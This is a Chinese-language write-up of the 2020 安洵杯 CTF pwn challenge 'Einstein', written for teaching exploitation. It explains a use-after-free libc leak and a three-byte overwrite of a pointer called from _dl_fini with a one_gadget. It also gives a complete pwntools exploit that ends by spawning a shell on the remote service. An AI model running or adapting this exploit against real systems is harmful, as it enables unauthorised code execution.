Einstein

发表于 2021-01-15 分类于 Challenge， 2020， 安洵杯， Pwn
Challenge | 2020 | 安洵杯 | Pwn | Einstein

点击此处获得更好的阅读体验

WriteUp来源

https://xz.aliyun.com/t/8582

题目考点

解题思路

分析

该题首先是个逻辑漏洞,可以导致uaf泄露出main_arena,从而泄露出libc的基地址

其次,由于只能任意地址写三个字节,所以只能靠exit函数_dl_fini+126处的调用来写入(one_gadget)三个字节,这里有可能出现无法写入one_gadget完整的情况,所以该题的exp,打这个题目,是有一定的成功率的...一般来说,尝试三次,就可以成功

详解

首先是泄露libc的基地址,这里uaf的常见套路了

只要name和passwd不等于admin就行了

```
payload = '{"name":"xxxxx","passwd":"xxxxx"}'
io.sendline(payload)
io.recvuntil('logger:spring login error!\nlogger:')
lib_main = u64(io.recvuntil(' login', drop=True).ljust(8, '\x00'))
print 'lib_main_arena is ',hex(lib_main)
libc_base = lib_main - 88 - 0x3c4b20
print 'libc_base is ',hex(libc_base)
```

然后是重点exit函数的利用了,网上有很多该函数的利用教程,但是这里由于我增加了libm库,所以具体的偏移量需要自己调试,直接照抄网上的偏移,是不可能成功的

那么调试exit,si单步调试

其中部分内容如下:

si进入exit函数(这里会直接进入_dl_runtime_resolve_xsavec),然后跳过第一个_dl_fixup函数,找到__run_exit_handlers函数,继续进入,找到了_call_tls_dtors进入这个函数 这里有个call rdx(0x7ffff7de7af0),直接进入_dl_fini

```
0x7ffff7de7b6e <_dl_fini+126>    call   qword ptr [rip + 0x2163d4] <0x7ffff7dd7c90>
        rdi: 0x7ffff7ffd948 (_rtld_global+2312) ◂— 0x0
        rsi: 0x1
        rdx: 0x7ffff7de7af0 (_dl_fini) ◂— push   rbp
        rcx: 0x7ffff7ffd040 (_rtld_global) —▸ 0x7ffff7ffe168 ◂— 0x0

    0x7ffff7de7b74 <_dl_fini+132>    mov    ecx, dword ptr [r12]
    0x7ffff7de7b78 <_dl_fini+136>    test   ecx, ecx
    0x7ffff7de7b7a <_dl_fini+138>    je     _dl_fini+80 <0x7ffff7de7b40>

    0x7ffff7de7b7c <_dl_fini+140>    mov    rax, qword ptr [r12 - 8]
    0x7ffff7de7b81 <_dl_fini+145>    movzx  edx, byte ptr [rax + 0x315]
```

这里我们使用pwndbg计算,偏离量,0x7ffff7dd7c90-libc_base

这样子我们就可以在该地址上写入3个字节,从而实现控制了exit函数的流程

exp

```python
#-*- coding:utf-8 -*-
from pwn import *
context.log_level='debug'
#context(arch = 'i386', os = 'linux', log_level='debug')
#context(arch = 'amd64', os = 'linux', log_level='debug')
#log_level=['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
elfFileName = "./sfs"
libcFileName = ""
ip = "0.0.0.0"
port = 10003

Debug = 0
if Debug:
    io = process(elfFileName)
    gdb.attach(io)
else:
    io = remote(ip,port)

#
io.recvuntil('passwd.\n')
payload = '{"name":"xxxxx","passwd":"xxxxx"}'
io.sendline(payload)
io.recvuntil('logger:xxxxx login error!\nlogger:')
lib_main = u64(io.recvuntil(' login', drop=True).ljust(8, '\x00'))
print 'lib_main_arena is ',hex(lib_main)
libc_base = lib_main - 88 - 0x3c4b20
print 'libc_base is ',hex(libc_base)
#
target = libc_base + 0x8f9f48#0x3f1000+0xf08#0x5f0f48
one_gadget = libc_base + 0xf02a4#0xf1147#0x4526a#0x45216#0xf02a4

print 'target is ',hex(target)
print 'one_gadget is ',hex(one_gadget)

sleep(0.1)
for i in range(3):
    io.send(p64(target + i))
    sleep(0.1)
    io.send(p64(one_gadget)[i])
    sleep(0.1)

#io.recv()
io.sendline("exec /bin/sh")

io.interactive()
```


 # Challenge # 2020 # Pwn # 安洵杯
LGX DATA PLATFORM
IO_FILE